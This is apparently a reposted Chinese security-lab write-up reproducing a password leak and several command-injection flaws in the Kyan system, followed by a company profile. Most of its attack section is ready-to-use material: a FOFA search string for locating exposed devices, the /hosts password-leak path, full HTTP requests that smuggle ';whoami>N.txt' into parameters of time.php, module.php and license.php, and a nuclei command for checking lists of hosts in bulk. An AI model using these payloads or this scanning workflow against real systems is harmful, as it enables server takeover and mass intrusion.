0x01 阅读须知
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0x02 漏洞描述
Kyan系统存在密码泄露/多个远程命令执行漏洞，攻击者通过漏洞可以获取服务器权限，导致服务器失陷。
0x03 漏洞复现
fofa：”login_files/button_login_to_bluesky.png”
1.执行密码泄露poc
/hosts
2.进入后台，我们有四种方法可以getshell，第一种time.php，执行whoami写入根目录的1.txt，访问1.txt返回结果，poc如下
POST /time.php HTTP/1.1Host: {{hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDNT: 1Connection: closeCookie: PHPSESSID=t59mjp5du7evvi9gncm79qp2s6; SpryMedia_DataTables_filesystemTable_status.php=%7B%22iStart%22%3A%200%2C%22iEnd%22%3A%204%2C%22iLength%22%3A%2010%2C%22sFilter%22%3A%20%22%22%2C%22sFilterEsc%22%3A%20true%2C%22aaSorting%22%3A%20%5B%20%5B0%2C'asc'%5D%5D%2C%22aaSearchCols%22%3A%20%5B%20%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%5D%2C%22abVisCols%22%3A%20%5B%20true%2Ctrue%2Ctrue%2Ctrue%2Ctrue%2Ctrue%2Ctrue%5D%7D; MemoryTree=1|1Upgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 26timesynctype=;whoami>1.txt
3.第二种module.php，执行whoami写入根目录的2.txt，访问2.txt返回结果，poc如下
GET /module.php?cmd=delete&name=;whoami>2.txt; HTTP/1.1Host: {{hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDNT: 1Connection: closeCookie: PHPSESSID=t59mjp5du7evvi9gncm79qp2s6; SpryMedia_DataTables_filesystemTable_status.php=%7B%22iStart%22%3A%200%2C%22iEnd%22%3A%204%2C%22iLength%22%3A%2010%2C%22sFilter%22%3A%20%22%22%2C%22sFilterEsc%22%3A%20true%2C%22aaSorting%22%3A%20%5B%20%5B0%2C'asc'%5D%5D%2C%22aaSearchCols%22%3A%20%5B%20%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%5D%2C%22abVisCols%22%3A%20%5B%20true%2Ctrue%2Ctrue%2Ctrue%2Ctrue%2Ctrue%2Ctrue%5D%7D; MemoryTree=1|1Upgrade-Insecure-Requests: 1
4.第三种license.php，执行whoami写入根目录的3.txt，访问3.txt返回结果，poc如下
GET /license.php?cmd=delete&name=;whoami>3.txt HTTP/1.1Host: {{hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDNT: 1Connection: closeCookie: PHPSESSID=t59mjp5du7evvi9gncm79qp2s6; SpryMedia_DataTables_filesystemTable_status.php=%7B%22iStart%22%3A%200%2C%22iEnd%22%3A%204%2C%22iLength%22%3A%2010%2C%22sFilter%22%3A%20%22%22%2C%22sFilterEsc%22%3A%20true%2C%22aaSorting%22%3A%20%5B%20%5B0%2C'asc'%5D%5D%2C%22aaSearchCols%22%3A%20%5B%20%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%5D%2C%22abVisCols%22%3A%20%5B%20true%2Ctrue%2Ctrue%2Ctrue%2Ctrue%2Ctrue%2Ctrue%5D%7D; MemoryTree=1|1Upgrade-Insecure-Requests: 1
5.第四种run.php，页面执行whoami并返回结果
http://{{hostname}}/run.php
6.nuclei批量验证已发表于知识星球，请查收
nuclei.exe -t Kyan_Password_disclosure.yaml -l subs.txt -stats Kyan_Password_disclosure.txt
0x04 公司简介
江西渝融云安全科技有限公司，2017年发展至今，已成为了一家集云安全、物联网安全、数据安全、等保建设、风险评估、信息技术应用创新及网络安全人才培训为一体的本地化高科技公司，是江西省信息安全产业链企业和江西省政府部门重点行业网络安全事件应急响应队伍成员。
公司现已获得信息安全集成三级、信息系统安全运维三级、风险评估三级等多项资质认证，拥有软件著作权十八项；荣获2020年全国工控安全深度行安全攻防对抗赛三等奖；庆祝建党100周年活动信息安全应急保障优秀案例等荣誉……
编制：sm
审核：fjh
审核：Dog
1个
1朵
5毛钱
天天搬砖的小M
能不能吃顿好的
就看你们的啦
原文始发于微信公众号（融云攻防实验室）：漏洞复现 Kyan 密码泄露/多个远程命令执行漏洞
